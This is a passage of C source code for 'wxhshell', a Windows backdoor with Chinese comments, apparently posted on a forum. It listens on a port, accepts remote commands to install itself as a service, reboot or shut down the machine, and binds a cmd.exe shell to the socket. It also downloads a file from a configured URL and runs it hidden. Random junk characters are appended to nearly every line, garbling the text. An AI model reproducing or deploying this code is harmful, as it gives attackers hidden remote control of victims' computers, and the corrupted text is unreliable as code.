  else { !x'/9^i~v  
|lv|!]qAma  
    switch(cmd[0]) { XD"_Iq!  
  G%d (  
  // 帮助 ioPUUUb)  
  case '?': { .f+TZDUO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )E+'*e{cK  
    break; %'0T Xr$  
  } 1>L(ul(qGF  
  // 安装 ah~Y eJp  
  case 'i': { ,^icPQSwc  
    if(Install()) 6"dD2WV/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  @3kKJ  
    else V`@>MOw^d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O{ /q-~_  
    break; JI vo_7{  
    } F[ewn/]n  
  // 卸载 NWxUn.Gy9  
  case 'r': { FZ8b7nJ)4m  
    if(Uninstall()) | >z3E z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]~Y<o  
    else T6ENtp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )?wJF<[_#  
    break; ;2Q~0a|  
    } vX]Gf4,  
  // 显示 wxhshell 所在路径 ytNO*XoR  
  case 'p': { &>H!}"Yk  
    char svExeFile[MAX_PATH]; !Ra*)b "  
    strcpy(svExeFile,"\n\r"); =~p>`nV  
      strcat(svExeFile,ExeFile); }`+B=h-dW  
        send(wsh,svExeFile,strlen(svExeFile),0); ``E/m<r:$  
    break; }<'5 z qS  
    } F5o+kz$;  
  // 重启 .KdyJ6o  
  case 'b': { } (!EuLL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }%D^8>S  
    if(Boot(REBOOT)) LY+|[qka  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Qeg   
    else { VE8;sGaJ  
    closesocket(wsh); 0@AAulRl  
    ExitThread(0); *-xU2  
    } fw[y+Bi& ?  
    break; Qyy.IPTP  
    } =Fdg/X1  
  // 关机 ]5%/3P,/  
  case 'd': { ~H!S,"n^,P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "+unS)M;Y  
    if(Boot(SHUTDOWN)) ;t+ub8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jbR0%X2  
    else { E\C9|1)  
    closesocket(wsh); jMpD+Mb  
    ExitThread(0); 0>zbCubPH  
    } VsA'de!V4[  
    break; U#U]Pt  
    } SB)5@ nmS  
  // 获取shell ^i:B+ rl  
  case 's': { qpXWi &g  
    CmdShell(wsh); (dv]=5""  
    closesocket(wsh); a5w:u5  
    ExitThread(0); 'MY/*k7:  
    break; 2=_g f  
  } f47M#UC  
  // 退出 zhf.NCSt(  
  case 'x': { R"K#7{p9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GaSPJt   
    CloseIt(wsh); c*@G_rb  
    break; QD%L0;j  
    } im @h -A]0  
  // 离开 L QjsOo  
  case 'q': { <ZB1Vi9}8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -I=l8m6L  
    closesocket(wsh); !>1@HH?I\/  
    WSACleanup(); E4hLtc^ +  
    exit(1); 5<w g 8y  
    break; 9*a=iL*Nw  
        } 6&/T@LQYrh  
  } RZ+`T+zL  
  } p QizJ6  
__.+s32SS$  
  // 提示信息 )wNP( @$L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H<3I 5Kgt  
} 9V5-%Iv  
  } ooQQ-?"m  
NC38fiH_N  
  return; 0'IBN}  
} 73){K?R  
x7$}8LZ"B  
// shell模块句柄 @9"J|}  
int CmdShell(SOCKET sock) y:6; LZ9[  
{ _8E/) M  
STARTUPINFO si; Qubp9C#r  
ZeroMemory(&si,sizeof(si)); ^#sU*trr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dtj&W<NXo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G.UI|r /Kz  
PROCESS_INFORMATION ProcessInfo; mrw=T.  
char cmdline[]="cmd"; *M"}z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y0X-Zqk'  
  return 0; z[;z>8|c  
} >FkWH7  
R2 V4#  
// 自身启动模式 Bi{$@n&?f  
int StartFromService(void) (P$H<FtH  
{ CvD "sHVq%  
typedef struct &#iTQD  
{ B $mX3B+a  
  DWORD ExitStatus; eow'K 821A  
  DWORD PebBaseAddress; )vSRHE  
  DWORD AffinityMask; 5D'\b}*lJ}  
  DWORD BasePriority; [W7CXZDd  
  ULONG UniqueProcessId; d m`E!R_  
  ULONG InheritedFromUniqueProcessId; 9th,VnD0  
}   PROCESS_BASIC_INFORMATION; r >nG@A  
gN"7be&J  
PROCNTQSIP NtQueryInformationProcess; .p(T^ m2A*  
is-7 j7;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yYfs y?3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hyFyP\u]  
z5 YWt*nm  
  HANDLE             hProcess; -jiG7OL  
  PROCESS_BASIC_INFORMATION pbi; %QP0  
2=^m9%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n<u $=H  
  if(NULL == hInst ) return 0; X)% A6M  
[D4Es  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &mx)~J^m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .*)2SNH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w Y_)y  
_/tHD]um  
  if (!NtQueryInformationProcess) return 0; 9c("x%nLpB  
 .P"D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c(~[$)i6  
  if(!hProcess) return 0; T]c%!&^ _  
5wDg'X]>V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XD2v*l|Po  
Kuu *&u  
  CloseHandle(hProcess); AQwdw>I-FX  
#NryLE!/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bXNk%W[n  
if(hProcess==NULL) return 0; {Sj9%2'M)  
(:> ,u*x%  
HMODULE hMod; Bn &Ws  
char procName[255]; q1KZ5G)6GJ  
unsigned long cbNeeded; \}|o1Xh2  
k5kxQhPf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |0f>aZ  
r<d_[?1N  
  CloseHandle(hProcess); jIyB  
~S,,w1`  
if(strstr(procName,"services")) return 1; // 以服务启动 "L&#lfOKG  
?BZPwGMs  
  return 0; // 注册表启动 I<6P;  
} ~G6Ox)/  
Vo'T!e- B  
// 主模块 2|*JSU.I  
int StartWxhshell(LPSTR lpCmdLine) z\%67C  
{ 1 P!Yxeh  
  SOCKET wsl; ~ r4 38&  
BOOL val=TRUE; M]2]\km  
  int port=0; !*B'?|a<\  
  struct sockaddr_in door; |$ lM#Ua  
=h5H~G5AT  
  if(wscfg.ws_autoins) Install(); kZGRxp9  
DBr ZzA  
port=atoi(lpCmdLine); lSVp%0jR  
fO[+LR 'ax  
if(port<=0) port=wscfg.ws_port; 2`N,,  
~yW4)4k;b  
  WSADATA data; %/zbgS`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }%{LJ}\Px  
i\rDu^VQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TI,&!E?;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FwkuC09tI  
  door.sin_family = AF_INET; HOJs[mqB%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `3WFjU 5a  
  door.sin_port = htons(port); P"8~$ P#  
gL *>[@RO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _8F`cuyW  
closesocket(wsl); q %"VYt4  
return 1; st:`y=F_  
} os:A]  
0vD7v  
  if(listen(wsl,2) == INVALID_SOCKET) { S]Mw #O|  
closesocket(wsl); ]rH\`0  
return 1; MS 81sN\d  
} 8h*Icf  
  Wxhshell(wsl); tne ST.  
  WSACleanup(); L"1}V  
/)}q Xx&  
return 0; ($;77fPR  
K1+)4!}%U  
} TE7nJ gm  
L>aLqQ3  
// 以NT服务方式启动 YSic-6z0Ms  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lJ}_G>GJ  
{ DpvI[r//'*  
DWORD   status = 0; L(|N[#  
  DWORD   specificError = 0xfffffff; c]n1':FT"  
1Vrh4g.l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QLvHQtzwX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J$GUB3 G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1VG4S){}\9  
  serviceStatus.dwWin32ExitCode     = 0; Uyg5i[&X@  
  serviceStatus.dwServiceSpecificExitCode = 0; aJbO((%$|u  
  serviceStatus.dwCheckPoint       = 0;  ~- _kM  
  serviceStatus.dwWaitHint       = 0; Gi?/C&1T  
V)~.~2$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ez fN&8E  
  if (hServiceStatusHandle==0) return; vyK7I%T'R  
(3 Two}  
status = GetLastError(); .*Ct bGw  
  if (status!=NO_ERROR) CUBEW~X}M  
{ :OhHb #D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^6MU 0Q2  
    serviceStatus.dwCheckPoint       = 0; p'*>vk  
    serviceStatus.dwWaitHint       = 0; G\Cp7:j}  
    serviceStatus.dwWin32ExitCode     = status; vgH3<pDiU6  
    serviceStatus.dwServiceSpecificExitCode = specificError; mGJKvJF   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  8pIP  
    return; YQ9'0F[l  
  } i@)i$i4  
 ' V^6XI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q  Nh|Wz  
  serviceStatus.dwCheckPoint       = 0; -pf}  
  serviceStatus.dwWaitHint       = 0; 59Xi3KY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (_mnB W  
} N`5,\TR2f  
)NXmn95  
// 处理NT服务事件,比如:启动、停止 K/j3a[.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A@1W}8qY:  
{ F4}]b(L  
switch(fdwControl) Z<1FSk,[  
{ "U>JM@0DNm  
case SERVICE_CONTROL_STOP: 0WZ_7C?  
  serviceStatus.dwWin32ExitCode = 0; -Ta9 pxZk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8dZSi  
  serviceStatus.dwCheckPoint   = 0; Lsq A**=  
  serviceStatus.dwWaitHint     = 0; hV8[@&Sx3  
  { B%)%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O`x;,6Vr  
  } 1PVtxL?1P  
  return; xW)2<m6C&  
case SERVICE_CONTROL_PAUSE: =9O^p@Q#W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WM7oM~&{6  
  break; 4B =7:r  
case SERVICE_CONTROL_CONTINUE: nm5cpnNl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *4Thd:7 `  
  break; ?I_s0k I  
case SERVICE_CONTROL_INTERROGATE: %GjM(;Tk  
  break; ); !eow  
}; `#F{Waww'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @5=oeOg36  
} [842&5Pd?  
DBW[{D E  
// 标准应用程序主函数 WejY y|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w28o}$b`  
{ @=bLDTx;c)  
Q('r<v96  
// 获取操作系统版本 `5cKA;j>b  
OsIsNt=GetOsVer(); &S{RGXj_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >kj`7GA  
qON|4+~u%  
  // 从命令行安装 R&8Iz yM  
  if(strpbrk(lpCmdLine,"iI")) Install(); cs,N <|  
+%zAQeb  
  // 下载执行文件 7 E r23Q  
if(wscfg.ws_downexe) { V+* P2|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q8X feoUV  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]fx"4qKM  
} T*8VDY7  
[YRz*5   
if(!OsIsNt) { #|Y5,a ,{  
// 如果时win9x,隐藏进程并且设置为注册表启动 ][gq#Vx@  
HideProc(); 3GaQk-  
StartWxhshell(lpCmdLine); 2Nu=/tMN  
} "Gfh,e  
else q+H%)kF  
  if(StartFromService()) 6]V4muz#c  
  // 以服务方式启动 bU>U14ix<  
  StartServiceCtrlDispatcher(DispatchTable); #a/5SZP Z\  
else wa<MRt W=  
  // 普通方式启动 I WTwz!+  
  StartWxhshell(lpCmdLine); lGV0 *Cji  
/f:dv?!km  
return 0; 6Z>FTz_  
}
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只看该作者 1 发表于: 2006-10-10
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